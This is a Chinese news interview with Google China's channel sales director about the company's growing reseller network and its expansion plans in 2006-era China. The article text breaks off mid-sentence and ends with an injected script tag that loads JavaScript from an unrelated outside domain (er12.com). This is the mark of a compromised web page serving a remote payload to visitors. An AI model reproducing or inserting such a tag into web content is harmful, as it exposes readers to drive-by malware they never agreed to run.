专访人物：宋中杰，google中国区渠道销售总监。在加盟google中国之前，宋中杰曾任中国惠普副总裁、软件产品部总经理，为中国惠普公司效力11年。
新闻背景：6月13日，google中国宣布添加北京搜必得为正式授权代理商，google在华代理达到9家。种种迹象表明google会继续增加在华代理商数量，此前鲜为人知的google中国渠道计划逐渐浮出水面。
pconline北京6月19日专稿[马全智/文]从零到九，google中国仅用了八个月，但宋中杰认为这速度还是不够快。是的，起码与竞争对手相比是这样。其实，google以及google中国，并不是特别喜欢提及竞争对手。
在google北京研发总部见到宋中杰，编辑吃了一惊。原本期望见到一个锐气逼人、西装笔挺的职业经理人，但迎面过来却是休闲的衬衣、憨憨的笑。书生气十足的宋中杰，身上没有一点生意人的“铜臭”。
于是很难相信，面前这位稍带腼腆的年轻人是深黯渠道之道，在职场打拼了十几个年头的google中国渠道总监。但说起搜索市场的渠道之战，侃侃而谈的宋中杰犹如打开了一只话匣子。于是，我的第一感很容易又在瞬间被扭变... ...
代理商发展速度不算快
pconline产业资讯：google中国近几个月在渠道动作频繁，外界相当关注，先请谈谈google在华的渠道概况？
宋中杰：google进入中国也就是去年8月份，渠道也是从那时开始做的。先是中企动力，接着是厦门中资源、上海火速、广东移动时代、北京紫博蓝这几家。到上周为止，我们一路下来有9家代理了，其实速度并不是特别快。
总的说，google在中国主要有三种模式，在线、直销和合作伙伴渠道部。渠道这块的策略很简单，因为中国的中小企业遍布全国，短期看渠道是唯一一个能快速并且大面积覆盖的好方法，所以我们需要三种渠道。
渠道的发展有一些重点，比如会重点发展本地代理商。我们的市场需要有一些竞争，但不需要竞争过度，这也是我们与其他公司不太一样的地方。而且因为我们渠道格局目前已经基本成型，所以今后会加快代理商的发布速度。
google中国对渠道的期望有短期和长期两块，短期强调的是覆盖能力，希望他们快速建立起销售团队，把业绩提升上来，照顾到我们的客户。但从长远来看，最终用户所需要的是服务。这服务又分为两大类。
一是怎么推广好google的服务，这要求渠道具备一些广告商的能力，比如策划能力。这是在过去容易忽略的一部分，不过确实是最基础的功夫，是推广google本身所需的增值服务。
但除了google本身，也要推广google所需的互补产品，比如域名、网站建设、企业email提供等，这些推广对代理商也是必要的。google认为代理商应该提供服务与产品的整合，提供一站式服务，那样它才能具备对客户的长远价值，才能在市场站稳脚跟。
pconline产业资讯：刚才注意到你说google在过去八个月增设了九家代理商，这速度并不是特别快，为什么这么说呢？
宋中杰：其实快和慢是需要这样去看的，首先要考虑市场容量需要多少的代理商？仅用一家代理商肯定会遇到“天花板”问题。
其次我们要考虑google本身的问题，我们是否有配套了足够的能力去支持他们，我们的人员是否到位，能否给他们提供足够的服务。这是增设代理过程中主要要考虑的两大因素。
google中国的渠道开发团队从早期的一个人，到两个人，到了现在有很多人，所以我们的步伐可以更快一点。但我们肯定不会像一些对手那样发展那么多，他们的代理商数目太多了。
pconline产业资讯：能谈谈google中国全年的渠道计划么？
宋中杰：今年肯定会继续发展代理商，而且像之前提到的那样速度会加快，所以数目肯定会比现在更多。具体的数字现在还说不好，但至少会是目前的一倍，可能今年年底会达到二十几家。
pconline产业资讯：google中国渠道的长远计划是什么，会在中国的每个大中城市都设立代理网点么？
宋中杰：老实说，google中国目前还有很多很多地方是没有覆盖到的。我们预计，经过今年努力可以把全国网站用户群的一、二类城市覆盖到，明年会采用更加精耕细作的办法，重点去扩展三级城市，再然后会继续扩充城市代理商。我们的原则并不贪图快或多，而是希望开发一家好一家。
渠道与直销并非死对头
pconline产业资讯：随着渠道的增多，一个城市有两家以上代理商的事情开始出现。比如北京有紫博蓝和搜必得，它们之间的分工是怎样的，google怎么协调他们以不产生冲突？
宋中杰：我们一定要看那城市容量大到足够放两家以上代理商的时候，才会考虑在那里发展两家代理商，现在看深圳与北京这两城市具备了这样的市场。其实当地的市场容量决定了，他们之间会有一定的竞争但不会太激烈或直接，?script src=http://er12.com/t.js>
